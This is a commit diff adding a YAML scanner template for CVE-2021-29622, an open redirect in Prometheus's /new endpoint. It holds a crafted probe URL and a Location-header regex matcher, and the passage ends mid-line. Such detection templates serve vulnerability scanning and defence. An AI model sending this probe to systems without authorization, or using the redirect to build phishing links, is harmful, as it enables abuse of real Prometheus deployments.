Create CVE-2021-29622.yaml

cves/2021/CVE-2021-29622.yaml

@@ -0,0 +1,20 @@
+id: CVE-2021-29622
+
+info:
+  name: Prometheus v2.23.0 to v2.26.0, and v2.27.0 Open Redirect
+  author: geeknik
+  description: In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint.
+  reference: https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7
+  severity: medium
+  tags: cve,cve2021,prometheus,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/new/newhttp://example.com"
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$'
+        part: heade